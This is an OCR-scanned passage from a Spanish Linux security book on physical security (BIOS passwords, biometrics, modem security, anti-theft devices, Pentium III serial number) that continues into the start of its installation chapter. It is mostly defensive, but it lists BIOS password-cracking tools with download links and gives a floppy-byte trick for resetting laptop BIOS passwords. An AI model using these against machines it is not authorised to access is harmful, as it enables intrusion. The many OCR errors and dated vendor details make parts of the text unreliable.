red, lo que garantiza que si rompen la contrasefia de la BIOS o de la consola, las
aplicaciones o las restantes maquinas no estaran expuestas a ningtin ataque.

Sin embargo, lo mas recomendable es no fiarse de las contrasefias de la BIOS y
de la consola como una linea seria de defensa, ya que tienen defectos inherentes.
Uno de ellos es que los agresores pueden anular las contrasefias de la BIOS con
s6lo provocar un cortocircuito en la bateria de la CMOS. En otros casos, ni siquie-
ra necesitan hacerlo, ya que el fabricante de la placa base incluye un jumper que,
colocado del modo adecuado, borrara la CMOS.

Mas ain, los agresores van armados frecuentemente con barrenadores de
BIOS (programas que borran los ajustes de la BIOS) o con utilidades de captura de
contrasena de BIOS.
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Tabla 2.3 Utilidades de captura y barrenadores de BIOS

Herramienta

Descripcion

IBIOS de Bluefish

AMIDECODE

AMI Password Viewer

AW.COM

El paquete !BIOS es un conjunto de herramientas de propdsito
general para atacar a la BIOS que incluye barrenadores, utili-
dades de captura y herramientas de descifrado. !BIOS supera-
ra con facilidad la mayoria de las protecciones de contraseifia
de BIOS modernas. Se puede conseguir en http://homel.swip-
net.se/~w-2702/11A/FILES/!BIOS310.ZIP.

Esta utilidad decodificara las contrasefias de BIOS de los siste-
mas de American Megatrends. Se puede obtener en http:/
www.swateam.org/noleech.

Esta utilidad de KORT lee, descifra y muestra las conraseiias
de la BIOS de AMI. Puede descargarla en http://www.rat.pp.
se/hotel/panik/archive/sklw.ami.zip.

Esta utilidad de Falcon n Alex rompe las contraseiias de la
BIOS de Award. Se puede conseguir en http:/www.lls.se/
~oscar/files/fpwd/aw.zip.

Los agresores a menudo crean herramientas sobre la marcha. Una técnica para
hacerlo es dar formato a un disquete y escribir 4B 45 59 00 00 en los cinco primeros
bytes del segundo sector. Tras reiniciar el equipo, los agresores pueden restablecer las
contrasefias en varios sistemas, entre ellos los portatiles Toshiba.

Controles de acceso biométrico

Una aproximacion mas futurista a la seguridad fisica del hardware consiste en el
uso de dispositivos de acceso biométricos. Estas herramientas autentican a los
usuarios en base a caracteristicas biologicas suyas, entre las que se incluyen:

* Olor corporal.
e Estructura facial.

¢ Huellas dactilares.

e Patrones de retina o de iris.

e Trazado de las venas.

e Voz.

Echemos una breve ojeada a la historia de la identificacion biométrica.
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Identificacién biométrica: una perspectiva histérica

La identificacion biométrica es un campo relativamente nuevo, pese a que sus
raices se remontan al antiguo Egipto, cuando los faraones sellaban ciertos decretos
con una huella digital.

Las primeras incursiones sustanciales en la biométrica se realizaron en el siglo
XIX. En 1893, Sir Francis Galton demostré que no habia dos huellas digitales igua-
les, ni siquiera en el caso de gemelos idénticos. Poco después, Sir Edward Henry
creo el sistema Henry, que se sigue utilizando en la actualidad.

Este sistema clasifica los montes de las yemas de los dedos en ocho categorias:
la accidental, el lazo central, el lazo doble, el arco plano, la espiral plana, el lazo
radial, el arco cubierto y el lazo del hueco del codo. Analizando estos patrones y
estableciendo de ocho a dieciséis puntos de comparacién entre muestras, la policia
puede identificar criminales sin ningtin género de duda.

La dactilografia se considera una ciencia infalible. Y en la mayoria de los casos lo es,
siempre que el sujeto tenga huellas dactilares. No todo el mundo las tiene. Algunas
raras afecciones de la piel pueden distorsionar o incluso borrar por completo las hue-
llas digitales. La mas conocida es la epidermolisis bullosa, una enfermedad heredita-
ria que ataca normalmente a los nifios que estdn todavia en el Gtero. Las victimas de
esta enfermedad pueden tener parte de las huellas digitales o no tener ninguna en
absoluto.

Hasta mediados del siglo XX, la técnica dactilografica era sorprendentemente
primitiva. La obtencién de huellas de los criminales suponia impresiones fisicas
directamente de la mano a la tinta. Armados con estas impresiones, que se almace-
naban en tarjetas de papel, los criminélogos las comparaban visualmente con las
que se tomaban en la escena del crimen.

Con el tiempo, este sistema fue reemplazado por una tecnologia mas avanzada.
Actualmente, el FBI guarda mas de 200 millones de huellas dactilares (29 millones
de las cuales son tinicas y las demas son de reincidentes) mediante el EstAndar de
Compresion de Imagen de Huellas Digitales. Este estandar proporciona alma-
cenamiento digital de huellas dactilares en un espacio razonable, que de otra mane-
ra ocuparia miles de terabytes y, como podria esperarse, las computadoras hacen la
mayoria de las comparaciones.

La tecnologia digital de impresion de huellas dactilares es ahora tan barata que
algunas empresas estan incorporandola a los PC. Por ejemplo, Compaq se esti
encargando de un sistema de identificacion por huella digital para PC que se vende
en Japén a un precio de unos 135 ddlares. El sistema utiliza una camara para captu-
rar una imagen de la huella, que posteriormente se utiliza para realizar la autenti-
cacion durante el inicio de sesién.
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Pero las huellas digitales son sélo el principio. En estos ultimos afios, los cienti-
ficos han identificado varias caracteristicas bioldgicas tnicas que pueden utilizarse
para la identificacién. Entre éstas, los patrones distintivos de la retina han sido los
que han atraido el mayor interés. Véase la Figura 2.5.

La retina, que controla la vision periférica, es un tejido infinitamente fino que
convierte la luz en seifiales eléctricas. A continuacion, estas sefiales se transmiten
al cerebro. La retina se compone de varias capas, de las que los exploradores de
retina utilizan dos en particular. La capa externa contiene unas estructuras foto-
receptivas y reflectoras, llamadas conos y bastones, que procesan la luz. Por
debajo de éstas, en la capa coroide, la retina alberga complejos sistemas de vasos
sanguineos.

Cristalino

Capa fotoreceptora
Coérmnea P P

Vasos sanguineos

Retina Capa coroide

FIGURA 2.5
La retina recubre la pared mas interna del ojo.

Los especialistas en identificacion indican que las exploraciones de retina son
extraordinariamente fiables y en muchos casos superiores a la toma de huellas dac-
tilares. Por ejemplo, los patrones de retina presentan muchos mas puntos de com-
paracién que las huellas digitales (entre 700 y 4200). Por este motivo, las explora-
ciones de retina se clasifican como de alta biometria o como sistemas biométricos
con un grado excesivamente alto de precision.

Sin embargo, las exploraciones de retina son en ocasiones insuficientes y es
posible que no funcionen si los usuarios son ciegos, parcialmente ciegos o tienen
cataratas. Ademas, dichas exploraciones tienen una tasa desproporcionadamente
alta de rechazo o falso negativo, es decir, aunque hay una pequefia probabilidad de
que una exploracion de retina auntentique a un usuario no autorizado, los usuarios
autorizados son rechazados a menudo la primera vez.

La tecnologia mas reciente se ha fijado en los patrones de voz. Sin embargo,
estos sistemas son poco fiables. Por ejemplo, ha habido casos en que el reconoci-
miento de voz ha fallado porque el usuario tenia bronquitis, catarro, laringitis,
etcétera. ‘
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Dispositivos de control de accesos biométricos

El control biométrico de acceso tiene sus pros y sus contras. Por un lado, dichos
controles ofrecen un alto grado de seguridad, sobre todo los sistemas que utilizan
los datos de las huellas dactilares. Sin embargo, existen impedimentos practicos
para establecer un enfoque completamente biométrico.

En primer lugar, si los controles biométricos se expanden mas alla de la propia
estacion de trabajo, es posible que haya que enfrentarse a cuestiones de privacidad.
Por ejemplo, imagine que es un pequefio proveedor de servicios de Internet y que
decide instalar un control de acceso biométrico en todo el sistema. Incluso si sus
empleados firman una autorizacion, més tarde pueden demandarle por invasién de
la intimidad (y, quiza, ganar).

En las exploraciones retinales, se bombardea al ojo con luz infrarroja. Las
estructuras fotoreceptoras de la capa exterior responden reflejando dicha luz y la
reflexion resultante produce una imagen de los patrones de los vasos sanguineos
de la retina.

NOTA

Las preocupaciones por la privacidad relacionada con los sistemas de control de
acceso biométrico son muy reales, pese a que surgen de fuentes recénditas. Por
ejemplo, se ha argumentado en contra que las exploraciones retinales revelan infor-
macion personal médica. Mediante patrones de retina se pueden detectar indicios de
abuso de drogas, enfermedades hereditarias e, incluso, SIDA. De ah{ que el manteni-
miento de una base de datos de patrones de retina pueda llevarle a un litigio. Anélo-
gamente, las huellas digitales pueden revelar tendencias criminales, lo que también
constituye un dato sensible.

Mas alla de los aspectos legales, los sistemas de control de acceso biométrico
tienen implicaciones sociales. Sus empleados pueden ofenderse por estos controles
y considerarlos una violacion de la intimidad, lo digan o no, lo que podria fomentar
un ambiente de trabajo hostil, aun cuando no se manifieste de manera abierta.

Es posible que el mayor inconveniente de los sistemas de acceso biométrico sea
su eficacia. Dichos sistemas realizan, al menos, registros rudimentarios, por lo que
crean un registro incontrovertible de las personas que han llevado a cabo sus tareas
y del momento en que se han realizado, lo que priva al personal de excusas creibles.
En ciertos juicios, los controles de identificacién biométrica pueden utilizarse como
prueba.

ADVERTENCIA

Esperamos que no esté utilizando las computadoras para ninguna actividad ilegal.
Pero, si lo hace, es probable que tenga que continuar con sus controles de acceso
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biométricos o, al menos, desconectar sus utilidades de logging. No hay nada que
haga tanto dafio a un pirata informatico como unos registros incontrovertibles.

Para finalizar, los controles de acceso biométrico no son adecuados para entor-
nos que van mas alla de una red local. Por ejemplo, no se puede obligar a ningun
usuario remoto a utilizar dispositivos biométricos, aunque se desee.

Pese a estos problemas, los controles de acceso biométrico son excelentes cuan-
do se utilizan internamente, en lugares cerrados y entre compaferos en los que se
confia. Creemos que su uso es muy aconsejable dentro de las oficinas en aquellas
maquinas que se usen para el control y la administracién de la red.

Desgraciadamente, no hay muchas herramientas de control de acceso biomeé-
trico compatibles con Linux. La Tabla 2.4 muestra algunas de ellas, su cometido y
dénde se puede obtener mas informacion sobre ellas.

Tabla 2.4 Herramientas de acceso biométrico compatibles con Linux

Producto o servicio Descripcién

Biomouse Es un ratén de American Biometric que lee las huellas digita-
les. Funciona bien con Linux 2.0 o posterior. Para obtener mas
informacién al respecto, dirijase a http://www.biomouse.com/.

IrisScan Es un sistema de autenticaciéon biométrica en red que admite
256 estaciones de trabajo por segmento de LAN. Los usuarios
son autenticados por patrones aleatorios del iris, que son
supuestamente incluso mas precisos y fiables que las explora-
ciones de retina. Y, pese a que IrisScan requiere NT en el ser-
vidor, puede utilizarse para asegurar entornos heterogéneos.
Para obtener mas informacién al respecto, dirfjase a http://
www.iriscan.com.

SecureStart/ISA Es un sistema de autenticaciéon por huella digital de 1/0 Softwa-
re que autentica a los usuarios antes de arrancar. Incluye un ana-
lizador de huellas digitales compacto que se conecta a una tarje-
ta ISA y trabaja con Linux 2.0 o posterior. Puede encontrar mas
informacién en http:/www.iosoftware.com/bioapps/ssisa.htm.

Verivoice Este sistema, disponible para Linux 2.0+, comprueba su identi-

dad mediante el reconocimiento de voz. Puede encontrar mas
informacion en http://www.verivoice.com/.

Para obtener mas informacién sobre la identificacién biométrica, dirijase a estos
sitios:
¢ A View From Europe. Una entrevista con Simon Davies que se centra en

aspectos de privacidad biométrica. Esta en http:/www.dss.state.ct.us/digi-
tal/news1l/bhsug1l.htm.
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* Biometrics Explained. Un buen documento de Gary Roethenbaugh, un
analista industrial de ICSA (International Computer Security Association,
Asociacién Internacional de Seguridad Informatica). Estd en http:/
www.icsa.net/services/consortia/cbdc/explained.shtml.

* Fight the Fingerprint. Estos amigos ven un futuro biométrico, que no les
gusta. Como se explica en su pagina inicial: "{Nos oponemos firmemente a
todos los esquemas de biometria aprobados por el gobierno y al niumero de
identificacién de la Seguridad Social!" Esta en http://networkusa.org/finger-
print.shtml.

¢ The Association for Biometrics (AfB) and International Computer
Security Association (ICSA) Glossary of Biometric Terms. Esta en
http://www.icsa.net/services/consortia/cbdc/glossus1.shtml.

* The BioAPI Consortium. Este grupo se creé para ayudar a los desarrolla-
dores a integrar la identificacion biométrica con los estandares y API exis-
tentes. Se encuentra en http://www.bioapi.org/.

¢ The Biometric Consortium. "...el punto central del Gobierno de EE.UU.
para la investigacion, el desarrollo, la evaluacion y la aplicacién de la tecno-
logia de verificacion-identificacion personal basada en la biometria...". Se
encuentra en http://www.biometrics.org/.

Seguridad del modem

La seguridad del modem es un tema antiguo, pero sobre el que se debate a
menudo. ;Pueden los modems dejar a alguien expuesto a un ataque? Depende de
como se haya disefiado el sistema. Sin embargo, en general la respuesta es afirma-
tiva, los modems pueden ser un riesgo para la seguridad. Por este motivo, empre-
sas como Sun Microsystems han limitado a sus empleados la instalacién de
modems en sus puestos.

Si el sistema es pequefio (dos o tres estaciones de trabajo), es facil saber quién
utiliza modems y aplicar controles de seguridad, tales como la desconexién de las
lineas de médem cuando no se utilicen. En cambio, si se estd administrando una
red corporativa, es conveniente quitar los modems de todas o de casi todas las
maquinas.

Los modems suponen no s6lo una amenaza de ataque exterior (agresores extra-
yendo informacién de su red), sino también una amenaza interna. Los usuarios
locales pueden utilizarlos para enviar informacion "delicada" en masa. Si es com-
pletamente imposible quitar los modems (quiza los empleados los necesiten para
llevar a cabo ciertas tareas), instale al menos software o dispositivos de rastreo de
marcado. Dichas herramientas pueden capturar cualquier nimero marcado. Un
buen producto para este proposito es Whozz Calling de Mountain Systems, Inc.
(aunque es algo caro). Puede obtener mas informacién al respecto en http://
www.mtnsys.com/pages/prices.htm.
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Si sus empleados necesitan modems para tareas limitadas, quiza sea aconsejable rea-
lizar dichos trabajos en estaciones aisladas con configuraciones minimas y con pocos
o ningdn dato importante. De esta forma, si algo va mal, podra reinstalar rapidamen-
te sin miedo a que una brecha en la seguridad pueda amenazar la red en general o
provocar pérdidas de informacién importante.

Algunos productos permiten aplicar control de acceso al modem e, incluso,
cifrado. En la siguiente seccién se pueden encontrar algunos de ellos.

ModemLock

Advanced Engineering Concepts, Inc.
1198 Pacific Coast Highway #D-505
Seal Beach, CA 90740

Teléfono: (310) 379-1189

Fax: (310) 597-7145

ModemLock es una combinacion de firmware y software que se conecta entre
una computadora y un médem externo. Cifra el flujo de datos del médem utilizando
DES y admite control de acceso al médem. Funciona mas de 40 horas con una bate-
ria de 9 voltios, tiene adaptador de corriente alterna y la tasa de transferencia mini-
ma es de 1900 caracteres por segundo.

Modem Security Enforcer

IC Engineering, Inc.

PO. Box 321

Owings Mills, MD 21117

Teléfono: (410) 363-8748

e-mail: Info@ICEngineering.Com

Direccién URL: http://www.bcpl.lib.md.us/~n3ic/iceng.html

Este dispositivo complementario tiene un gran numero de caracteristicas, como
la autenticacion por retrollamada, la proteccién mediante contrasena, el almacena-
miento de contrasefias de firmware (a las que no pueden acceder los usuarios inter-
nos), el almacenamiento en memoria no volatil, la compatibilidad con centralitas
telefonicas PBX y redes de area local, y una interfaz totalmente configurable. Fun-
ciona sobre cualquier dispositivo RS$-232. Para obtener mas informacion sobre el
funcionamiento de Modem Security Enforcer, véase el manual de mantenimiento
on-line en http://www.bcpl.lib.md.us/~n3ic/mse/mseman.html.



CoSECURE

CoSYSTEMS Inc.

3350 Scott Blvd., Building 61-01
Santa Clara, CA 95054
Teléfono: (408) 748-2190

Fax: (408) 988-0785

CoSECURE es una aplicacién UNIX que aplica control de accesos a modems en
la plataforma SPARC. Los puertos de acceso telefénico pueden asegurarse total-
mente de varias formas.

PortMarshal

Cettlan Inc.

17671 Irvne Blvd., Suite 201

Tustin, CA 92780

Teléfono: (714) 669-9490

Fax: (714) 6699513

e-mail: info@cettlan.com

Direccion URL: http://www.cettlan.com/

PortMarshal proporciona un cifrado DES de alto nivel y autenticacién de cone-
xiones remotas. Es posible aplicar control de accesos a 256 puertos y el producto
genera un gran numero de registros de auditorfa. Los informes incluyen caracte-
risticas de analisis grafico para determinar picos de trafico, resimenes de uso, etc.
Desgraciadamente, el software de gestiéon de PortMarshal por ahora sélo es com-
patible con Windows 95y NT. No obstante, dada la funcionalidad que proporciona
este producto, merece la pena anadir un equipo NT a la red.

Dispositivos antirrobo

Otra amenaza es el robo, tanto del sistema entero como de componentes indivi-
duales. No es necesario que roben el servidor. Pueden llevarse los dispositivos de
disco duro, memoria o tarjetas de expansion. La siguiente seccidon presenta una
serie de herramientas que pueden ayudar a proteger el sistema y sus componentes.

Laptop Lockup

Laptop Lockup
253 So. Van Ness Ave.
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San Francisco, CA 94103
e-mail: security@laptoplockup.com
Direcciéon URL: http://www.laptoplockup.com/

Laptop Lockup evita el robo de equipos portatiles utilizando cables de acero
resistente al sabotaje y un candado de cobre que asegura el portatil ala mesa. Admi-
te una gran variedad de portatiles, PowerBooks, etc.

FlexLock-50

Flex-Lock-50

Pioneer Lock Corporation

487 South Broad Street

Glen Rock, NJ 07452

Teléfono: (201) 652-9185

Direccion URL: http://www.pioneerlock.com/

FlexLock-50 asegura las estaciones de trabajo con cable de media pulgada resis-
tente a cizallas, cortaalambres y sierras para metal. Pioneer ofrece también siste-
mas de base metalica que aseguran las estaciones de trabajo a las mesas.

Computer Guardian

Newland Design Limited

John Street, Carnforth, Lancashire

LA5 9ER, England, UK

Teléfono: 44 (0)1524 733424

e-mail: guardian@bigfish.co.uk

Direccién URL: http:/www.bigfish.co.uk/business/guardian/

Computer Guardian es un sistema antirrobo para PC independiente de la plata-
forma. Consta de una tarjeta de expansion y software en un disquete externo. Cuan-
do se mueve el PC o alguien trata de forzar sus componentes, el sistema hace sonar
una sirena para asustar al ladrén y avisar a los demas.

PHAZER

Computer Security Products, Inc.
P.O. Box 7544
Nashua, NH 03060



Teléfono: (800) 466-7636

Fax: (603) 888-3766

e-mail: Sales@ComputerSecurity.com

Direccién URL: http://www.computersecurity.com/fiber/index.htm|

PHAZER es un dispositivo de seguridad de fibra 6ptica que detecta intentos de
forzado fisico. Este sistema de monitorizaciéon descansa sobre un bucle cerrado de
fibra optica. Si el bucle se abre, se genera una alarma. PHAZER es magnifico para
laboratorios de computacion universitarios u otras redes grandes.

Nimeros tnicos, marcado y otras técnicas

También es aconsejable el tomar medidas para identificar su sistema en caso de
robo. Cada afio roban miles de computadoras y las victimas casi nunca las recupe-
ran, incluso después de que la policia haya investigado. Algunos usuarios no con-
servan recibos, otros no anotan los nimeros de serie, y asi sucesivamente. Si no
toma estas medidas, tendra dificultad para identificar su maquina una vez que le
hayan reformateado las unidades.

Algunas medidas de seguridad habituales que pueden servir como refuerzo
legal son las siguientes:

* Llevar un registro meticuloso de todo el hardware, incluyendo los nimeros
de modelo y serie, ya que son necesarios si se llama a la policia. A menudo
no es suficiente con que pueda reconocer una maquina por sus sonidos,
chasquidos y desconchones. La policia suele exigir algo mas sustancial,
como nimeros de serie, facturas de compra, etc.

* Marque de forma permanente los componentes con un ndmero tinico de
identificacion utilizando tinta indeleble, pintura fluorescente o pintura-tinta
ultravioleta, que es visible solo con luz negra. En particular, marque la placa
madre, las tarjetas de expansion, las unidades de disco, el interior y exterior
de la caja de la unidad y el monitor.

Ademas, es posible que desee obtener mas informacion sobre marcas patenta-
das o soluciones de identificacion. Existen dos en particular: STOP y Accupage.

STOP

STOP

30 Myano Lane, Suite 36

Stamford, CT 06902

Teléfono: (888) STOPTAG / (203) 359-9361
Direccion URL: http://www.stoptheft.com/
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STOP es un sistema a dos niveles tanto de prevencién de robo como de identifi-
cacién. En primer lugar, se marca todo el hardware con un producto quimico inde-
leble. Este tatuaje identifica el equipo como una propiedad robada. Se coloca enci-
ma una placa de metal especial que se mantendra adherida incluso bajo 800 libras
de presion. Los ladrones sélo pueden vencer a STOP cortando fisicamente el cha-
sis plateado tatuado.

Accupage
Accupage Limitedplaca
P.O. Box 26
Aldershot, Hampshire
GU12 5YP, UK
e-mail: accupage@technologist.com
Direcciéon URL: http://www.accupage.com/

Accupage es un sistema de hardware que incrusta un mensaje indeleble en los
PC, que contiene la identidad de su propietario. La policia puede ver este mensaje
para determinar el propietario y si el PC ha sido robado. Accupage se esta inte-
grando sobre los nuevos equipos portatiles, pero los sistemas de sobremesa mas
antiguos también pueden asegurarse.

El namero de serie del Intel Pentium 11l

Algunas medidas de seguridad e identificacion pueden volverse contra uno o
dejarle expuesto a una invasion de su intimidad. En nuestra opinion, el nimero de
serie del Intel Pentium III es un ejemplo de esto.

El procesador Pentium III luce un nimero de serie de 96 bits unico y perma-
nente. Este nimero puede identificar la maquina no sélo ante proveedores, sino
ante hosts remotos de la Web. Ahi esta el problema.

Inicialmente, Intel insistia en que como todos los modelos se vendian con esta
funcionalidad desactivada, no habia amenaza a la intimidad. De hecho, Intel asegu-
raba que sélo podian reactivarla los usuarios y que, por consiguiente, solo se expon-
drian los usuarios que deseasen que se les siguiese la pista.

Esto era falso.

Unas semanas después de que las declaraciones iniciales de Intel vieran la luz,
una publicacion alemana de piratas informaticos informé de que los agresores
remotos podrian obtener el nimero de serie sin que los usuarios diesen su consen-
timiento, incluso después de que la opcién del numero de serie fuese desactivada.
Tras este escrito, Intel ha estado bregando por reducir los temores del publico (no
cabe duda de que intentan salvar su chip de un boicot).
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He aqui lo que vemos a través de la pantalla de humo de Intel:

¢ Intel sugiere que el nimero de serie beneficia a los consumidores, aunque
en realidad beneficia a los mercaderes online que pueden rastrear los movi-
mientos del publico y sus habitos de compra.

¢ Mediante la escritura hardware del nimero de serie, Intel se ha unido a otros
conspiradores que claman por una sociedad orwelliana.

¢ Hasta la fecha no hemos visto ningtin comercio de electronica que avise a los
consumidores del ataque a la intimidad del Pentium III.

Creemos que Intel jugaba con la inexperiencia de la mayoria de los usuarios.
Los principiantes nunca sospecharian nada e, incluso si lo hiciesen, no tendrian for-
ma de confirmar sus sospechas.

No recomendamos a nadie adquirir un procesador Pentium III a menos que
Intel haga publico el cédigo fuente de su sistema de ndmeros de serie. Como valo-
ramos mucho su intimidad, consideramos repugnante la conducta de Intel en este
caso. Los sitios web que visitemos son un asunto exclusivamente nuestro. En nues-
tra opinion, el esquema de nimero de serie de Intel no es menos impertinente que
el que alguien nos acompaiie a la biblioteca, respirando en nuestro cogote y miran-
do estipidamente qué libros ojeamos. En este caso, es atin peor, ya que da esta
informacion a terceros.

Para obtener mas informacion acerca de la controversia del procesador Pentium
III, puede ver los siguientes enlaces:

¢ "Pentium III serial number is soft-switchable after all", un debate sobre cémo
se introdujeron en el sistema de niimero de serie del procesador Pentium III
los trabajadores de la revista c’t (http://www.heise.de/ct/english/99/05/
news1).

¢ '"The Big Brother Inside Home Page". Aqui puede encontrar toda la historia,
con muchos articulos y enlaces (http:/www.privacy.org/bigbrotherinside/).

ADVERTENCIA

Ha habido noticias de que algunos equipos porttiles con el procesador Pentium [l
de Intel tienen también un nimero Gnico de serie. Si tiene uno de ellos, péngase en
contacto con Intel para saber si le afecta.

Resumen

Una buena seguridad fisica es cuestion de sentido comun. Siempre que le sea
posible, implemente todas las medidas de seguridad prescritas por su fabricante de
hardware. Vigile en particular las contrasenas predeterminadas y similares.
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Si actualmente también utiliza hardware de red, resulta 1til localizar documen-
tacion adicional en Internet. El hardware antiguo de red puede albergar defectos.

Por tltimo, el mejor consejo quiza sea éste: Tome todas las precauciones posi-
bles para evitar que usuarios no autorizados accedan fisicamente a sus servidores o
al hardware de red.



cAPiTULO

Instalacion

En este capitulo

Acerca de las distintas distribuciones de Linux, seguridad e instalacion.
Particiones y seguridad.

Elegir servicios de red en la instalacion.

Cargadores de arranque.

Resumen.
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Los innumerables libros de Linux estan repletos de capitulos sobre su instala-
cién. Si utiliza Linux, es probable que ya haya leido algunos. Teniendo esto en cuen-
ta, ¢es realmente necesario un capitulo sobre la instalacion de Linux?

Hay varias razones por las que creemos que si lo es. En primer lugar, la mayoria
de los manuales de instalacion no se centran en la seguridad. En segundo lugar,
mucha gente comprara este libro antes de establecer su red Linux. Y, finalmente, la
seguridad de Linux comienza en la instalacidn, o incluso antes.

Sin embargo, en lugar de un libro sobre como realizar la instalacion, este capi-
tulo se centra en los temas de instalacion que pueden afectar a la seguridad:

¢ Diferencias entre los procedimientos de instalacién y la seguridad de varias
distribuciones de Linux.

¢ Particiones y seguridad.
¢ Eleccion de los servicios de red durante la instalacion.
¢ (Cargadores de arranque.

Acerca de las distintas distribuciones
de Linux, seguridad e instalacion

Existen un minimo de quince distribuciones de Linux y, sin duda alguna, para
cuando este libro vea la luz habran aflorado algunas mas. Todas ellas comparten
algunas caracteristicas comunes: tienen las mismas versiones del kernel o nucleo,
las mismas aplicaciones basicas y, salvo contadas excepciones, el mismo codigo
fuente del ndcleo.

Todo ello puede hacer pensar que todas las distribuciones de Linux son idénti-
cas, lo que no es cierto. Realmente existen diferencias sutiles:

¢ Las diferentes distribuciones de Linux tienen distintas herramientas de ins-
talacién y su funcionalidad puede variar. Algunas de estas herramientas de
instalacién especifican automaticamente qué servidores se activan durante
el arranque, mientras que otras no lo hacen, sino que preguntan antes.

¢ Algunas herramientas de instalacion profundizan en los paquetes individua-
les para que se pueda seleccionar con total exactitud el software que se ins-
tala. Otras ofrecen un ambito menos incisivo y preguntan qué conjuntos de
software se quieren instalar en lugar de qué aplicaciones individuales.

Si no conoce Linux, estas variables pueden afectar a la seguridad del sistema, ya
que puede acabar con un gran nimero de paquetes de software y servidores insta-
lados que no conoce en absoluto.

Este es un problema importante con el que se enfrentan los usuarios que acaban
de conocer Linux y las publicaciones existentes en el mercado no les ayudan
mucho. Aunque el nimero de manuales de Linux es sobrecogedor, muy pocos con-
tienen listas exhaustivas del software que se puede instalar, lo que deja a los princi-
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piantes en la dificil disyuntiva de elegir aplicaciones individuales o instalar toda la
distribucion, y la mayoria elige esta tltima opcion

bt o i)

Algunas distribuciones antiguas, como las primeras de SlackWare, funcionaban de
forma distinta. La herramienta de instalacion, basada en los scripts de la shell con un
front-end de cuadros de didlogo, se detenia en todas las aplicaciones y utilidades, lo
que obligaba a decidir si se instalaban o no. Cada cuadro de didlogo mostraba la des-
cripcion de la aplicacién por su entrada en el Linux Software Map (Mapa de Softwa-
re de Linux), o que permitia cerciorarse de la utilidad de cada programa y de si se
necesitaba o0 no. Naturalmente, esto hacfa que la instalacién fuera mas tediosa, pero
también mucho mas incisiva y que proporcionaba mds informacion

¢Es realmente tan importante que se sepa con exactitud lo que se instala? Si, ya
que Linux difiere considerablemente de otros sistemas operativos en que no hay
ninguna entidad individual que controle el desarrollo y las pruebas. Cuando alguien
se adentra mas all4 de su nucleo (el corazdén del sistema), se encuentra con que
Linux esta compuesto de varios miles de herramientas, médulos, bibliotecas, etc.

Muchos de estos componentes se derivan de desarrolladores académicos, free-
lance y comerciales de todo el mundo. Cada desarrollador es responsable del con-
trol de calidad de su aplicacién y, por consiguiente, la calidad puede variar ostensi-
blemente de unos a otros. Para entender los motivos de tal aseveracion, véase la
Figura 3.1.

Freelance/Betas/Otras El tiempo dira

Semicomerciales Probabiemente se ha probado
correctamente, pero se ha

. comercializado demasiado pronto
Herramientas

basicas Se han probado profusamente los
errores frecuentes de programacion

Kernel Ha estado sujeto a un exhaustivo
andlisis bajo las directrices
tradicionales de desarrollo y
produccién

FIGURA 3.1
Distintos tipos de software de Linux.



|53

La Figura 3.1 muestra los distintos tipos de software de Linux y una critica gene-
ralizada admitida del control de calidad de cada uno de los niveles. Esto es lo que
muestra:

® El kernel de Linux y las herramientas imprescindibles se han sometido a
rigurosas pruebas en busca de errores de programacién habituales que
podrian amenazar potencialmente la seguridad del sistema. Las personas
que realizan estas pruebas tienen mucha experiencia y conocen perfecta-
mente el origen de Linux y la historia de su desarrollo, sobre todo desde el
punto de vista de la seguridad.

* Las herramientas semicomerciales son herramientas que serian comer-
ciales en cualquier otra plataforma. Recientemente se ha producido una tre-
menda afluencia de dichas herramientas, ya que grandes proveedores cor-
porativos han puesto sus ojos en el territorio de Linux. Es posible que estas
herramientas tengan una excelente seguridad, pero muy probablemente
muchas no la tengan. Pasar complejas aplicaciones comerciales a Linux, un
sistema operativo relativamente nuevo y desconocido, es una empresa pro-
pensa a cometer errores. Ademas, algunos proveedores ven las migraciones
a Linux como decisiones de politica (probar el agua) e invierten menos tiem-
po y esfuerzos en analizar el estado de seguridad de sus puertos, a menos
que la aplicacion esté relacionada especificamente con la seguridad.

* Para finalizar, mas alla del cédigo principal de Linux y de las contribuciones
semicomerciales se encuentran las herramientas independientes, en fase
beta, etc. Esta categoria ya se constituye como una parte sustancial de Linux
y esta creciendo rapidamente. Aqui las pruebas varian. Un gran numero de
las nuevas herramientas de Linux son el resultado de los esfuerzos entusias-
tas y bienintencionados de futuros programadores. Algunos de ellos tienen
una vasta experiencia en UNIX y conocen perfectamente los problemas que
atafien a la seguridad, pero otros estin empezando.

A medida que nos alejamos del nucleo basico de Linux, podemos encontrarnos
con resultados muy dispares, con la notable excepcion de las herramientas de segu-
ridad. Algunas de las herramientas de seguridad de Linux han alcanzado niveles que
sélo pueden igualar aplicaciones de seguridad comerciales de alto rendimiento.

Si va a utilizar Linux a nivel personal, puede instalar toda la distribucién sin nin-
gun problema. Sélo tiene que utilizar ciertas practicas de seguridad, como hacer
frecuentes copias de seguridad, y estar preparado para aprender mediante el méto-
do de ensayo y error.

Sin embargo, si va a utilizar Linux en una empresa o para tareas extremada-
mente importantes en las que no puede haber el mas minimo error, es mejor que
adopte otro enfoque:

* Antes de utilizar Linux en un entorno empresarial, es aconsejable conocer
los paquetes de software, su funcion, el tiempo que llevan en el mercado y si
realmente se necesitan. Para ello, es aconsejable visitar el Linux Software
Map, en la pagina web http://www.boutell.com/Ism/. En el LSM se pueden



54 I Capitulo 3 Instalacién

realizar busquedas, lo que es muy til, ya que actualmente hay alrededor de
3.000 entradas.

¢ Sj su distribucién de Linux incluye herramientas patentadas, investigue su
utilidad y el registro de seguimiento de la seguridad. Para obtener mas infor-
macién sobre las distintas distribuciones (listas de errores, sitios de segui-
mientos de revisiones, boletines, consejos de los proveedores, etc.), consul-
te el Apéndice D, "Fuentes para obtener informacion".

Ademas de estos pasos, intente seguir esta regla de oro: menos es mas e ins-
tale sélo lo que necesite.

Sin embargo, seguir este consejo puede resultar dificil, sobre todo si acaba de
conocer Linux, ya que ofrece un amplio abanico de aplicaciones y varios subcon-
juntos dentro de cada tipo de aplicacion. Por consiguiente, ademds de la docena de
editores de texto que contiene el CD-ROM de la distribucion, es probable que haya
25 editores de texto de Linux. Tiene muchos entre los que elegir.

En concreto, tenga mucho cuidado cuando vaya a elegir las aplicaciones para
red (cualquier cosa que utilice un demonio). Si una aplicacién para red tiene defec-
tos, puede exponer el sistema a ataques remotos. Ningun otro sistema operativo
ofrece tantas aplicaciones para red como Linux. De hecho, los desarrolladores de
Linux se han vuelto locos por poner todo en red, desde lectores de CD-ROM a table-
tas digitalizadoras. Si algo puede ponerse en red, Linux lo ha hecho.

Resumiendo, antes de instalar Linux en un entorno empresarial, es conveniente
tomarse el tiempo suficiente para informarse al respecto. Merece la pena y se dara
